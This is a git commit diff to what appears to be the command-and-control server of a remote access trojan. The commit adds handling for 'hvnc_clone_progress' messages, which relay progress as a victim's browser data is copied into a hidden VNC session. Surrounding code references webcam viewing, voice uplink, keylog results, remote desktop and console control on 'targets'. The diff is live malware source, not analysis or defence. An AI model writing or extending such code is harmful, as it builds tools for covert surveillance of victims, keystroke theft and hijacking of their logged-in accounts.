add hvnc cloning progress, fix context menu stuff for mobile view, more updates

This commit is contained in:
KingKDot
2026-03-12 14:41:03 -05:00
parent f066cb6a8e
commit 173eb87311
12 changed files with 248 additions and 31 deletions
+2
View File
@@ -75,6 +75,7 @@ import {
handleWebcamViewerMessage,
handleWebcamViewerOpen,
handleWebcamDevices,
handleHVNCCloneProgress,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
hvncStreamingState,
@@ -403,6 +404,7 @@ async function startServer() {
handleNotification: notificationPluginHandlers.handleNotification,
handleVoiceUplink,
handleWebcamDevices,
handleHVNCCloneProgress,
cleanupVoiceViewer,
stopConsoleOnTarget,
sendDesktopCommand,
@@ -71,6 +71,7 @@ type WsLifecycleDeps = {
handleNotification: (clientId: string, payload: any) => void;
handleVoiceUplink: (clientId: string, payload: any) => void;
handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
@@ -294,6 +295,9 @@ export function handleWebSocketMessage(
case "webcam_devices":
deps.handleWebcamDevices(info.id, payload);
break;
case "hvnc_clone_progress":
deps.handleHVNCCloneProgress(info.id, payload);
break;
default:
break;
}
@@ -433,6 +433,19 @@ export function handleWebcamDevices(clientId: string, payload: any) {
}
}
export function handleHVNCCloneProgress(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_clone_progress",
browser: String(payload.browser || ""),
percent: Number(payload.percent) || 0,
copiedBytes: Number(payload.copiedBytes) || 0,
totalBytes: Number(payload.totalBytes) || 0,
status: String(payload.status || ""),
});
}
}
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return;
+1
View File
@@ -27,6 +27,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"keylog_delete_result",
"voice_uplink",
"webcam_devices",
"hvnc_clone_progress",
]);
export function isAllowedClientMessageType(type: string): boolean {